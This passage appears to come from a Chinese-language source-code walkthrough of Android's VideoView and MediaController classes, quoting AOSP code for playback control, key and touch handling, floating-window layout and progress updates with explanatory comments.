  * has been reached during playback.\n     *\n     * @param l The callback that will be run\n     */\n    public void setOnCompletionListener(OnCompletionListener l)\n    {\n        mOnCompletionListener = l;\n    }\n\n    /**\n     * Register a callback to be invoked when an error occurs\n     * during playback or setup.  If no listener is specified,\n     * or if the listener returned false, VideoView will inform\n     * the user of any errors.\n     *\n     * @param l The callback that will be run\n     */\n    public void setOnErrorListener(OnErrorListener l)\n    {\n        mOnErrorListener = l;\n    }\n\n    /**\n     * Register a callback to be invoked when an informational event\n     * occurs during playback or setup.\n     *\n     * @param l The callback that will be run\n     */\n    public void setOnInfoListener(OnInfoListener l) {\n        mOnInfoListener = l;\n    }\n\n    SurfaceHolder.Callback mSHCallback = new SurfaceHolder.Callback()\n    {\n        public void surfaceChanged(SurfaceHolder holder, int format,\n                                    int w, int h)\n        {\n            mSurfaceWidth = w;\n            mSurfaceHeight = h;\n            boolean isValidState =  (mTargetState == STATE_PLAYING);\n            boolean hasValidSize = (mVideoWidth == w && mVideoHeight == h);\n            if (mMediaPlayer != null && isValidState && hasValidSize) {\n                if (mSeekWhenPrepared != 0) {\n                    seekTo(mSeekWhenPrepared);\n                }\n                start();\n            }\n        }\n\n        public void surfaceCreated(SurfaceHolder holder)\n        {\n            mSurfaceHolder = holder;\n            openVideo();\n        }\n\n        public void surfaceDestroyed(SurfaceHolder holder)\n        {\n            // after we return from this we can't use the surface any more\n            mSurfaceHolder = null;\n            if (mMediaController != null) mMediaController.hide();\n            release(true);\n        }\n    };\n\n    /*\n     * release the media player in any state\n     */\n    private void release(boolean cleartargetstate) {\n        if (mMediaPlayer != null) {\n            mMediaPlayer.reset();\n            mMediaPlayer.release();\n            mMediaPlayer = null;\n            mPendingSubtitleTracks.clear();\n            mCurrentState = STATE_IDLE;\n            if (cleartargetstate) {\n                mTargetState  = STATE_IDLE;\n            }\n        }\n    }\n\n    @Override\n    public boolean onTouchEvent(MotionEvent ev) {\n        if (isInPlaybackState() && mMediaController != null) {\n            toggleMediaControlsVisiblity();\n        }\n        return false;\n    }\n\n    @Override\n    public boolean onTrackballEvent(MotionEvent ev) {\n        if (isInPlaybackState() && mMediaController != null) {\n            toggleMediaControlsVisiblity();\n        }\n        return false;\n    }\n\n    @Override\n    public boolean onKeyDown(int keyCode, KeyEvent event)\n    {\n        boolean isKeyCodeSupported = keyCode != KeyEvent.KEYCODE_BACK &&\n                                     keyCode != KeyEvent.KEYCODE_VOLUME_UP &&\n                                     keyCode != KeyEvent.KEYCODE_VOLUME_DOWN &&\n                                     keyCode != KeyEvent.KEYCODE_VOLUME_MUTE &&\n                                     keyCode != KeyEvent.KEYCODE_MENU &&\n                                     keyCode != KeyEvent.KEYCODE_CALL &&\n                                     keyCode != KeyEvent.KEYCODE_ENDCALL;\n        if (isInPlaybackState() && isKeyCodeSupported && mMediaController != null) {\n            if (keyCode == KeyEvent.KEYCODE_HEADSETHOOK ||\n                    keyCode == KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE) {\n                if (mMediaPlayer.isPlaying()) {\n                    pause();\n                    mMediaController.show();\n                } else {\n                    start();\n                    mMediaController.hide();\n                }\n                return true;\n            } else if (keyCode == KeyEvent.KEYCODE_MEDIA_PLAY) {\n                if (!mMediaPlayer.isPlaying()) {\n                    start();\n                    mMediaController.hide();\n                }\n                return true;\n            } else if (keyCode == KeyEvent.KEYCODE_MEDIA_STOP\n                    || keyCode == KeyEvent.KEYCODE_MEDIA_PAUSE) {\n                if (mMediaPlayer.isPlaying()) {\n                    pause();\n                    mMediaController.show();\n                }\n                return true;\n            } else {\n                toggleMediaControlsVisiblity();\n            }\n        }\n\n        return super.onKeyDown(keyCode, event);\n    }\n\n    private void toggleMediaControlsVisiblity() {\n        if (mMediaController.isShowing()) {\n            mMediaController.hide();\n        } else {\n            mMediaController.show();\n        }\n    }\n\n    @Override\n    public void start() {\n        if (isInPlaybackState()) {\n            mMediaPlayer.start();\n            mCurrentState = STATE_PLAYING;\n        }\n        mTargetState = STATE_PLAYING;\n    }\n\n    @Override\n    public void pause() {\n        if (isInPlaybackState()) {\n            if (mMediaPlayer.isPlaying()) {\n                mMediaPlayer.pause();\n                mCurrentState = STATE_PAUSED;\n            }\n        }\n        mTargetState = STATE_PAUSED;\n    }\n\n    public void suspend() {\n        release(false);\n    }\n\n    public void resume() {\n        openVideo();\n    }\n\n    @Override\n    public int getDuration() {\n        if (isInPlaybackState()) {\n            return mMediaPlayer.getDuration();\n        }\n\n        return -1;\n    }\n\n    @Override\n    public int getCurrentPosition() {\n        if (isInPlaybackState()) {\n            return mMediaPlayer.getCurrentPosition();\n        }\n        return 0;\n    }\n\n    @Override\n    public void seekTo(int msec) {\n        if (isInPlaybackState()) {\n            mMediaPlayer.seekTo(msec);\n            mSeekWhenPrepared = 0;\n        } else {\n            mSeekWhenPrepared = msec;\n        }\n    }\n\n    @Override\n    public boolean isPlaying() {\n        return isInPlaybackState() && mMediaPlayer.isPlaying();\n    }\n\n    @Override\n    public int getBufferPercentage() {\n        if (mMediaPlayer != null) {\n            return mCurrentBufferPercentage;\n        }\n        return 0;\n    }\n\n    private boolean isInPlaybackState() {\n        return (mMediaPlayer != null &&\n                mCurrentState != STATE_ERROR &&\n                mCurrentState != STATE_IDLE &&\n                mCurrentState != STATE_PREPARING);\n    }\n\n    @Override\n    public boolean canPause() {\n        return mCanPause;\n    }\n\n    @Override\n    public boolean canSeekBackward() {\n        return mCanSeekBack;\n    }\n\n    @Override\n    public boolean canSeekForward() {\n        return mCanSeekForward;\n    }\n\n    @Override\n    public int getAudioSessionId() {\n        if (mAudioSession == 0) {\n            MediaPlayer foo = new MediaPlayer();\n            mAudioSession = foo.getAudioSessionId();\n            foo.release();\n        }\n        return mAudioSession;\n    }\n\n    @Override\n    protected void onAttachedToWindow() {\n        super.onAttachedToWindow();\n\n        if (mSubtitleWidget != null) {\n            mSubtitleWidget.onAttachedToWindow();\n        }\n    }\n\n    @Override\n    protected void onDetachedFromWindow() {\n        super.onDetachedFromWindow();\n\n        if (mSubtitleWidget != null) {\n            mSubtitleWidget.onDetachedFromWindow();\n        }\n    }\n\n    @Override\n    protected void onLayout(boolean changed, int left, int top, int right, int bottom) {\n        super.onLayout(changed, left, top, right, bottom);\n\n        if (mSubtitleWidget != null) {\n            measureAndLayoutSubtitleWidget();\n        }\n    }\n\n    @Override\n    public void draw(Canvas canvas) {\n        super.draw(canvas);\n\n        if (mSubtitleWidget != null) {\n            final int saveCount = canvas.save();\n            canvas.translate(getPaddingLeft(), getPaddingTop());\n            mSubtitleWidget.draw(canvas);\n            canvas.restoreToCount(saveCount);\n        }\n    }\n\n    /**\n     * Forces a measurement and layout pass for all overlaid views.\n     *\n     * @see #setSubtitleWidget(RenderingWidget)\n     */\n    private void measureAndLayoutSubtitleWidget() {\n        final int width = getWidth() - getPaddingLeft() - getPaddingRight();\n        final int height = getHeight() - getPaddingTop() - getPaddingBottom();\n\n        mSubtitleWidget.setSize(width, height);\n    }\n\n    /** @hide */\n    @Override\n    public void setSubtitleWidget(RenderingWidget subtitleWidget) {\n        if (mSubtitleWidget == subtitleWidget) {\n            return;\n        }\n\n        final boolean attachedToWindow = isAttachedToWindow();\n        if (mSubtitleWidget != null) {\n            if (attachedToWindow) {\n                mSubtitleWidget.onDetachedFromWindow();\n            }\n\n            mSubtitleWidget.setOnChangedListener(null);\n        }\n\n        mSubtitleWidget = subtitleWidget;\n\n        if (subtitleWidget != null) {\n            if (mSubtitlesChangedListener == null) {\n                mSubtitlesChangedListener = new RenderingWidget.OnChangedListener() {\n                    @Override\n                    public void onChanged(RenderingWidget renderingWidget) {\n                        invalidate();\n                    }\n                };\n            }\n\n            setWillNotDraw(false);\n            subtitleWidget.setOnChangedListener(mSubtitlesChangedListener);\n\n            if (attachedToWindow) {\n                subtitleWidget.onAttachedToWindow();\n                requestLayout();\n            }\n        } else {\n            setWillNotDraw(true);\n        }\n\n        invalidate();\n    }\n\n    /** @hide */\n    @Override\n    public Looper getSubtitleLooper() {\n        return Looper.getMainLooper();\n    }\n}\n```\n\nMediaPlayerControl\n---\n \n 通过该接口来打通MediaController以及VideoView\n \n ```java\n public interface MediaPlayerControl {\n\tvoid    start();\n\tvoid    pause();\n\tint     getDuration();\n\tint     getCurrentPosition();\n\tvoid    seekTo(int pos);\n\tboolean isPlaying();\n\tint     getBufferPercentage();\n\tboolean canPause();\n\tboolean canSeekBackward();\n\tboolean canSeekForward();\n\n\t/**\n\t * Get the audio session id for the player used by this VideoView. This can be used to\n\t * apply audio effects to the audio track of a video.\n\t * @return The audio session, or 0 if there was an error.\n\t */\n\tint     getAudioSessionId();\n}\n ```\n \nMediaController\n---\n \n- 简介            \n    ```java\n\t/**\n\t* A view containing controls for a MediaPlayer. Typically contains the\n\t* buttons like \"Play/Pause\", \"Rewind\", \"Fast Forward\" and a progress\n\t* slider. It takes care of synchronizing the controls with the state\n\t* of the MediaPlayer.\n\t* <p>\n\t* The way to use this class is to instantiate it programatically.\n\t* The MediaController will create a default set of controls\n\t* and put them in a window floating above your application. Specifically,\n\t* the controls will float above the view specified with setAnchorView().\n\t* The window will disappear if left idle for three seconds and reappear\n\t* when the user touches the anchor view.\n\t* <p>\n\t* Functions like show() and hide() have no effect when MediaController\n\t* is created in an xml layout.\n\t* \n\t* MediaController will hide and\n\t* show the buttons according to these rules:\n\t* <ul>\n\t* <li> The \"previous\" and \"next\" buttons are hidden until setPrevNextListeners()\n\t*   has been called\n\t* <li> The \"previous\" and \"next\" buttons are visible but disabled if\n\t*   setPrevNextListeners() was called with null listeners\n\t* <li> The \"rewind\" and \"fastforward\" buttons are shown unless requested\n\t*   otherwise by using the MediaController(Context, boolean) constructor\n\t*   with the boolean set to false\n\t* </ul>\n\t*/\n\t```\n\n- 关系\n    ```java\n\tpublic class MediaController extends FrameLayout\n\t```\n\n- 成员\n\t```java\n\t// 一些控制功能的接口\n\tprivate MediaPlayerControl  mPlayer;\n    private Context             mContext;\n\t// VideoView中调用setAnchorView()设置进来的View，MediaController显示的时候会感觉该AnchorView的位置进行显示\n    private View                mAnchor;\n\t// MediaController最外层的根布局\n    private View                mRoot;\n\t\n\t// 通过Window的方式来显示MediaController，MediaController是一个填充屏幕的布局，但是背景是透明的\n    private WindowManager       mWindowManager;\n    private Window              mWindow;\n    private View                mDecor;\n\t// 理解为当前整个MediaController的布局\n    private WindowManager.LayoutParams mDecorLayoutParams;\n    private ProgressBar         mProgress;\n    private TextView            mEndTime, mCurrentTime;\n    private boolean             mShowing;\n    private boolean             mDragging;\n\t// 默认自动消失的时间\n    private static final int    sDefaultTimeout = 3000;\n    private static final int    FADE_OUT = 1;\n    private static final int    SHOW_PROGRESS = 2;\n    private boolean             mUseFastForward;\n    private boolean             mFromXml;\n    private boolean             mListenersSet;\n    private View.OnClickListener mNextListener, mPrevListener;\n    StringBuilder               mFormatBuilder;\n    Formatter                   mFormatter;\n    private ImageButton         mPauseButton;\n    private ImageButton         mFfwdButton;\n    private ImageButton         mRewButton;\n    private ImageButton         mNextButton;\n    private ImageButton         mPrevButton;\n\t```\n\t\n- 构造方法\n    ```java\n\tpublic MediaController(Context context, AttributeSet attrs) {\n        super(context, attrs);\n        mRoot = this;\n        mContext = context;\n        mUseFastForward = true;\n        mFromXml = true;\n    }\n\n    @Override\n    public void onFinishInflate() {\n        if (mRoot != null)\n            initControllerView(mRoot);\n    }\n    \n    public MediaController(Context context, boolean useFastForward) {\n        super(context);\n        mContext = context;\n        mUseFastForward = useFastForward;\n\t\t// 创建该MediaController的布局\n        initFloatingWindowLayout();\n        initFloatingWindow();\n    }\n    \n    public MediaController(Context context) {\n        this(context, true);\n    }\n\t```\n\t\n\t- initFloatingWindowLayout\n\t    ```java\n\t\t// Allocate and initialize the static parts of mDecorLayoutParams. Must\n\t\t// also call updateFloatingWindowLayout() to fill in the dynamic parts\n\t\t// (y and width) before mDecorLayoutParams can be used.\n\t\tprivate void initFloatingWindowLayout() {\n\t\t\tmDecorLayoutParams = new WindowManager.LayoutParams();\n\t\t\tWindowManager.LayoutParams p = mDecorLayoutParams;\n\t\t\tp.gravity = Gravity.TOP | Gravity.LEFT;\n\t\t\tp.height = LayoutParams.WRAP_CONTENT;\n\t\t\tp.x = 0;\n\t\t\tp.format = PixelFormat.TRANSLUCENT;\n\t\t\tp.type = WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;\n\t\t\tp.flags |= WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM\n\t\t\t\t\t| WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL\n\t\t\t\t\t| WindowManager.LayoutParams.FLAG_SPLIT_TOUCH;\n\t\t\tp.token = null;\n\t\t\tp.windowAnimations = 0; // android.R.style.DropDownAnimationDown;\n\t\t}\n\t\t```\n\t\t\n\t- initFloatingWindow\n\t    ```java\n\t\tprivate void initFloatingWindow() {\n\t\t    // Android内核剖析 中有介绍\n\t\t\tmWindowManager = (WindowManager)mContext.getSystemService(Context.WINDOW_SERVICE);\n\t\t\tmWindow = PolicyManager.makeNewWindow(mContext);\n\t\t\tmWindow.setWindowManager(mWindowManager, null, null);\n\t\t\tmWindow.requestFeature(Window.FEATURE_NO_TITLE);\n\t\t\t// 通过WindowManager去add该Decor以及remove来实现MediaController的显示与隐藏\n\t\t\tmDecor = mWindow.getDecorView();\n\t\t\tmDecor.setOnTouchListener(mTouchListener);\n\t\t\tmWindow.setContentView(this);\n\t\t\tmWindow.setBackgroundDrawableResource(android.R.color.transparent);\n\t\t\t\n\t\t\t// While the media controller is up, the volume control keys should\n\t\t\t// affect the media stream type\n\t\t\tmWindow.setVolumeControlStream(AudioManager.STREAM_MUSIC);\n\n\t\t\tsetFocusable(true);\n\t\t\tsetFocusableInTouchMode(true);\n\t\t\tsetDescendantFocusability(ViewGroup.FOCUS_AFTER_DESCENDANTS);\n\t\t\trequestFocus();\n\t\t}\n\t\t```\n\t\t\n\t- mTouchListener        \n\t\t```java\n\t\tprivate OnTouchListener mTouchListener = new OnTouchListener() {\n\t\t\tpublic boolean onTouch(View v, MotionEvent event) {\n\t\t\t\tif (event.getAction() == MotionEvent.ACTION_DOWN) {\n\t\t\t\t\tif (mShowing) {\n\t\t\t\t\t\thide();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\t};\n\t\t```\n\n\t- setMediaPlayer\n\t    VideoView调用setMediaController的时候会调用到该方法\n\t    ```java\n\t\tpublic void setMediaPlayer(MediaPlayerControl player) {\n\t\t\tmPlayer = player;\n\t\t\tupdatePausePlay();\n\t\t}\n\t\t```\n\t\t\n\t- setAnchorView\n\t\tVideoView调用setMediaController的时候会调用到该方法\n\t    ```java\n\t\t/**\n\t\t * Set the view that acts as the anchor for the control view.\n\t\t * This can for example be a VideoView, or your Activity's main view.\n\t\t * When VideoView calls this method, it will use the VideoView's parent\n\t\t * as the anchor.\n\t\t * @param view The view to which to anchor the controller when it is visible.\n\t\t */\n\t\tpublic void setAnchorView(View view) {\n\t\t\tif (mAnchor != null) {\n\t\t\t\tmAnchor.removeOnLayoutChangeListener(mLayoutChangeListener);\n\t\t\t}\n\t\t\tmAnchor = view;\n\t\t\tif (mAnchor != null) {\n\t\t\t\tmAnchor.addOnLayoutChangeListener(mLayoutChangeListener);\n\t\t\t}\n\n\t\t\tFrameLayout.LayoutParams frameParams = new FrameLayout.LayoutParams(\n\t\t\t\t\tViewGroup.LayoutParams.MATCH_PARENT,\n\t\t\t\t\tViewGroup.LayoutParams.MATCH_PARENT\n\t\t\t);\n\n\t\t\tremoveAllViews();\n\t\t\tView v = makeControllerView();\n\t\t\taddView(v, frameParams);\n\t\t}\n\t\t```\n\t\t\n\t\t- mLayoutChangeListener\n\t\t    ```java\n\t\t\t// This is called whenever mAnchor's layout bound changes\n\t\t\tprivate OnLayoutChangeListener mLayoutChangeListener =\n\t\t\t\t\tnew OnLayoutChangeListener() {\n\t\t\t\tpublic void onLayoutChange(View v, int left, int top, int right,\n\t\t\t\t\t\tint bottom, int oldLeft, int oldTop, int oldRight,\n\t\t\t\t\t\tint oldBottom) {\n\t\t\t\t\t// 更新布局\n\t\t\t\t\tupdateFloatingWindowLayout();\n\t\t\t\t\tif (mShowing) {\n\t\t\t\t\t\tmWindowManager.updateViewLayout(mDecor, mDecorLayoutParams);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\t\t\t```\n\n\t\t\t- updateFloatingWindowLayout\n\t\t\t    ```java\n\t\t\t\t// Update the dynamic parts of mDecorLayoutParams\n\t\t\t\t// Must be called with mAnchor != NULL.\n\t\t\t\tprivate void updateFloatingWindowLayout() {\n\t\t\t\t\tint [] anchorPos = new int[2];\n\t\t\t\t\tmAnchor.getLocationOnScreen(anchorPos);\n\n\t\t\t\t\t// we need to know the size of the controller so we can properly position it\n\t\t\t\t\t// within its space\n\t\t\t\t\tmDecor.measure(MeasureSpec.makeMeasureSpec(mAnchor.getWidth(), MeasureSpec.AT_MOST),\n\t\t\t\t\t\t\tMeasureSpec.makeMeasureSpec(mAnchor.getHeight(), MeasureSpec.AT_MOST));\n\n\t\t\t\t\tWindowManager.LayoutParams p = mDecorLayoutParams;\n\t\t\t\t\tp.width = mAnchor.getWidth();\n\t\t\t\t\tp.x = anchorPos[0] + (mAnchor.getWidth() - p.width) / 2;\n\t\t\t\t\tp.y = anchorPos[1] + mAnchor.getHeight() - mDecor.getMeasuredHeight();\n\t\t\t\t}\n\t\t\t\t```\n\t\t\t\t\n\t\t- makeControllerView\n\t\t    ```java\n\t\t\t/**\n\t\t\t * Create the view that holds the widgets that control playback.\n\t\t\t * Derived classes can override this to create their own.\n\t\t\t * @return The controller view.\n\t\t\t * @hide This doesn't work as advertised\n\t\t\t */\n\t\t\tprotected View makeControllerView() {\n\t\t\t\tLayoutInflater inflate = (LayoutInflater) mContext.getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n\t\t\t\tmRoot = inflate.inflate(com.android.internal.R.layout.media_controller, null);\n\t\t\t\t// 对Controller中的一些按钮、功能进行事件设置\n\t\t\t\tinitControllerView(mRoot);\n\n\t\t\t\treturn mRoot;\n\t\t\t}\n\t\t\t```\n\t\t\t\n\t- touch事件处理\n\t    ```java\n\t\t@Override\n\t\tpublic boolean onTouchEvent(MotionEvent event) {\n\t\t\tshow(sDefaultTimeout);\n\t\t\treturn true;\n\t\t}\n\t\t```\n\n\t- 进度的处理\n\t\t- seekBar的处理\n\t\t\t```java\n\t\t\t// There are two scenarios that can trigger the seekbar listener to trigger:\n\t\t\t//\n\t\t\t// The first is the user using the touchpad to adjust the posititon of the\n\t\t\t// seekbar's thumb. In this case onStartTrackingTouch is called followed by\n\t\t\t// a number of onProgressChanged notifications, concluded by onStopTrackingTouch.\n\t\t\t// We're setting the field \"mDragging\" to true for the duration of the dragging\n\t\t\t// session to avoid jumps in the position in case of ongoing playback.\n\t\t\t//\n\t\t\t// The second scenario involves the user operating the scroll ball, in this\n\t\t\t// case there WON'T BE onStartTrackingTouch/onStopTrackingTouch notifications,\n\t\t\t// we will simply apply the updated position without suspending regular updates.\n\t\t\tprivate OnSeekBarChangeListener mSeekListener = new OnSeekBarChangeListener() {\n\t\t\t\tpublic void onStartTrackingTouch(SeekBar bar) {\n\t\t\t\t\tshow(3600000);\n\n\t\t\t\t\tmDragging = true;\n\n\t\t\t\t\t// By removing these pending progress messages we make sure\n\t\t\t\t\t// that a) we won't update the progress while the user adjusts\n\t\t\t\t\t// the seekbar and b) once the user is done dragging the thumb\n\t\t\t\t\t// we will post one of these messages to the queue again and\n\t\t\t\t\t// this ensures that there will be exactly one message queued up.\n\t\t\t\t\tmHandler.removeMessages(SHOW_PROGRESS);\n\t\t\t\t}\n\n\t\t\t\tpublic void onProgressChanged(SeekBar bar, int progress, boolean fromuser) {\n\t\t\t\t\tif (!fromuser) {\n\t\t\t\t\t\t// We're not interested in programmatically generated changes to\n\t\t\t\t\t\t// the progress bar's position.\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\tlong duration = mPlayer.getDuration();\n\t\t\t\t\tlong newposition = (duration * progress) / 1000L;\n\t\t\t\t\tmPlayer.seekTo( (int) newposition);\n\t\t\t\t\tif (mCurrentTime != null)\n\t\t\t\t\t\tmCurrentTime.setText(stringForTime( (int) newposition));\n\t\t\t\t}\n\n\t\t\t\tpublic void onStopTrackingTouch(SeekBar bar) {\n\t\t\t\t\tmDragging = false;\n\t\t\t\t\tsetProgress();\n\t\t\t\t\tupdatePausePlay();\n\t\t\t\t\tshow(sDefaultTimeout);\n\n\t\t\t\t\t// Ensure that progress is properly updated in the future,\n\t\t\t\t\t// the call to show() does not guarantee this because it is a\n\t\t\t\t\t// no-op if we are already showing.\n\t\t\t\t\tmHandler.sendEmptyMessage(SHOW_PROGRESS);\n\t\t\t\t}\n\t\t\t};\n\t\t\t```\n\t\t\t\n\t\t- SetProgress\n            ```java\n\t\t\tprivate int setProgress() {\n\t\t\t\tif (mPlayer == null || mDragging) {\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t\tint position = mPlayer.getCurrentPosition();\n\t\t\t\tint duration = mPlayer.getDuration();\n\t\t\t\tif (mProgress != null) {\n\t\t\t\t\tif (duration > 0) {\n\t\t\t\t\t\t// use long to avoid overflow\n\t\t\t\t\t\tlong pos = 1000L * position / duration;\n\t\t\t\t\t\tmProgress.setProgress( (int) pos);\n\t\t\t\t\t}\n\t\t\t\t\tint percent = mPlayer.getBufferPercentage();\n\t\t\t\t\tmProgress.setSecondaryProgress(percent * 10);\n\t\t\t\t}\n\n\t\t\t\tif (mEndTime != null)\n\t\t\t\t\tmEndTime.setText(stringForTime(duration));\n\t\t\t\tif (mCurrentTime != null)\n\t\t\t\t\tmCurrentTime.setText(stringForTime(position));\n\n\t\t\t\treturn position;\n\t\t\t}\n\t\t\t```\n\t\t\t\n\t\t- show\n        \t```java\n        \t/**\n             * Show the controller on screen. It will go away\n             * automatically after 'timeout' milliseconds of inactivity.\n             * @param timeout The timeout in milliseconds. Use 0 to show\n             * the controller until hide() is called.\n             */\n            public void show(int timeout) {\n                if (!mShowing && mAnchor != null) {\n        \t\t\t// 先去设置一下进度\n                    setProgress();\n                    if (mPauseButton != null) {\n                        mPauseButton.requestFocus();\n                    }\n                    disableUnsupportedButtons();\n                    updateFloatingWindowLayout();\n                    mWindowManager.addView(mDecor, mDecorLayoutParams);\n                    mShowing = true;\n                }\n                updatePausePlay();\n                \n                // cause the progress bar to be updated even if mShowing\n                // was already true.  This happens, for example, if we're\n                // paused with the progress bar showing the user hits play.\n        \t\t// 发送定期更新进度的消息\n                mHandler.sendEmptyMessage(SHOW_PROGRESS);\n        \n                Message msg = mHandler.obtainMessage(FADE_OUT);\n                if (timeout != 0) {\n                    mHandler.removeMessages(FADE_OUT);\n                    mHandler.sendMessageDelayed(msg, timeout);\n                }\n            }\n        \t```\n\n    \t- hide\n    \t    ```java\n    \t\t/**\n    \t\t * Remove the controller from the screen.\n    \t\t */\n    \t\tpublic void hide() {\n    \t\t\tif (mAnchor == null)\n    \t\t\t\treturn;\n    \n    \t\t\tif (mShowing) {\n    \t\t\t\ttry {\n    \t\t\t\t\t// 移除定期更新消息\n    \t\t\t\t\tmHandler.removeMessages(SHOW_PROGRESS);\n    \t\t\t\t\tmWindowManager.removeView(mDecor);\n    \t\t\t\t} catch (IllegalArgumentException ex) {\n    \t\t\t\t\tLog.w(\"MediaController\", \"already removed\");\n    \t\t\t\t}\n    \t\t\t\tmShowing = false;\n    \t\t\t}\n    \t\t}\n    \t\t```\n\t\n上源码\n===\n\n```java\n/*\n * Copyright (C) 2006 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage android.widget;\n\nimport android.content.Context;\nimport android.graphics.PixelFormat;\nimport android.media.AudioManager;\nimport android.os.Handler;\nimport android.os.Message;\nimport android.util.AttributeSet;\nimport android.util.Log;\nimport android.view.Gravity;\nimport android.view.KeyEvent;\nimport android.view.LayoutInflater;\nimport android.view.MotionEvent;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.view.Window;\nimport android.view.WindowManager;\nimport android.view.accessibility.AccessibilityEvent;\nimport android.view.accessibility.AccessibilityNodeInfo;\nimport android.widget.SeekBar.OnSeekBarChangeListener;\n\nimport com.android.internal.policy.PolicyManager;\n\nimport java.util.Formatter;\nimport java.util.Locale;\n\n/**\n * A view containing controls for a MediaPlayer. Typically contains the\n * buttons like \"Play/Pause\", \"Rewind\", \"Fast Forward\" and a progress\n * slider. It takes care of synchronizing the controls with the state\n * of the MediaPlayer.\n * <p>\n * The way to use this class is to instantiate it programatically.\n * The MediaController will create a default set of controls\n * and put them in a window floating above your application. Specifically,\n * the controls will float above the view specified with setAnchorView().\n * The window will disappear if left idle for three seconds and reappear\n * when the user touches the anchor view.\n * <p>\n * Functions like show() and hide() have no effect when MediaController\n * is created in an xml layout.\n * \n * MediaController will hide and\n * show the buttons according to these rules:\n * <ul>\n * <li> The \"previous\" and \"next\" buttons are hidden until setPrevNextListeners()\n *   has been called\n * <li> The \"previous\" and \"next\" buttons are visible but disabled if\n *   setPrevNextListeners() was called with null listeners\n * <li> The \"rewind\" and \"fastforward\" buttons are shown unless requested\n *   otherwise by using the MediaController(Context, boolean) constructor\n *   with the boolean set to false\n * </ul>\n */\npublic class MediaController extends FrameLayout {\n\n    private MediaPlayerControl  mPlayer;\n    private Context             mContext;\n    private View                mAnchor;\n    private View                mRoot;\n    private WindowManager       mWindowManager;\n    private Window              mWindow;\n    private View                mDecor;\n    private WindowManager.LayoutParams mDecorLayoutParams;\n    private ProgressBar         mProgress;\n    private TextView            mEndTime, mCurrentTime;\n    private boolean             mShowing;\n    private boolean             mDragging;\n    private static final int    sDefaultTimeout = 3000;\n    private static final int    FADE_OUT = 1;\n    private static final int    SHOW_PROGRESS = 2;\n    private boolean             mUseFastForward;\n    private boolean             mFromXml;\n    private boolean             mListenersSet;\n    private View.OnClickListener mNextListener, mPrevListener;\n    StringBuilder               mFormatBuilder;\n    Formatter                   mFormatter;\n    private ImageButton         mPauseButton;\n    private ImageButton         mFfwdButton;\n    private ImageButton         mRewButton;\n    private ImageButton         mNextButton;\n    private ImageButton         mPrevButton;\n\n    public MediaController(Context context, AttributeSet attrs) {\n        super(context, attrs);\n        mRoot = this;\n        mContext = context;\n        mUseFastForward = true;\n        mFromXml = true;\n    }\n\n    @Override\n    public void onFinishInflate() {\n        if (mRoot != null)\n            initControllerView(mRoot);\n    }\n\n    public MediaController(Context context, boolean useFastForward) {\n        super(context);\n        mContext = context;\n        mUseFastForward = useFastForward;\n        initFloatingWindowLayout();\n        initFloatingWindow();\n    }\n\n    public MediaController(Context context) {\n        this(context, true);\n    }\n\n    private void initFloatingWindow() {\n        mWindowManager = (WindowManager)mContext.getSystemService(Context.WINDOW_SERVICE);\n        mWindow = PolicyManager.makeNewWindow(mContext);\n        mWindow.setWindowManager(mWindowManager, null, null);\n        mWindow.requestFeature(Window.FEATURE_NO_TITLE);\n        mDecor = mWindow.getDecorView();\n        mDecor.setOnTouchListener(mTouchListener);\n        mWindow.setContentView(this);\n        mWindow.setBackgroundDrawableResource(android.R.color.transparent);\n        \n        // While the media controller is up, the volume control keys should\n        // affect the media stream type\n        mWindow.setVolumeControlStream(AudioManager.STREAM_MUSIC);\n\n        setFocusable(true);\n        setFocusableInTouchMode(true);\n        setDescendantFocusability(ViewGroup.FOCUS_AFTER_DESCENDANTS);\n        requestFocus();\n    }\n\n    // Allocate and initialize the static parts of mDecorLayoutParams. Must\n    // also call updateFloatingWindowLayout() to fill in the dynamic parts\n    // (y and width) before mDecorLayoutParams can be used.\n    private void initFloatingWindowLayout() {\n        mDecorLayoutParams = new WindowManager.LayoutParams();\n        WindowManager.LayoutParams p = mDecorLayoutParams;\n        p.gravity = Gravity.TOP | Gravity.LEFT;\n        p.height = LayoutParams.WRAP_CONTENT;\n        p.x = 0;\n        p.format = PixelFormat.TRANSLUCENT;\n        p.type = WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;\n        p.flags |= WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM\n                | WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL\n                | WindowManager.LayoutParams.FLAG_SPLIT_TOUCH;\n        p.token = null;\n        p.windowAnimations = 0; // android.R.style.DropDownAnimationDown;\n    }\n\n    // Update the dynamic parts of mDecorLayoutParams\n    // Must be called with mAnchor != NULL.\n    private void updateFloatingWindowLayout() {\n        int [] anchorPos = new int[2];\n        mAnchor.getLocationOnScreen(anchorPos);\n\n        // we need to know the size of the controller so we can properly position it\n        // within its space\n        mDecor.measure(MeasureSpec.makeMeasureSpec(mAnchor.getWidth(), MeasureSpec.AT_MOST),\n                MeasureSpec.makeMeasureSpec(mAnchor.getHeight(), MeasureSpec.AT_MOST));\n\n        WindowManager.LayoutParams p = mDecorLayoutParams;\n        p.width = mAnchor.getWidth();\n        p.x = anchorPos[0] + (mAnchor.getWidth() - p.width) / 2;\n        p.y = anchorPos[1] + mAnchor.getHeight() - mDecor.getMeasuredHeight();\n    }\n\n    // This is called whenever mAnchor's layout bound changes\n    private OnLayoutChangeListener mLayoutChangeListener =\n            new OnLayoutChangeListener() {\n        public void onLayoutChange(View v, int left, int top, int right,\n                int bottom, int oldLeft, int 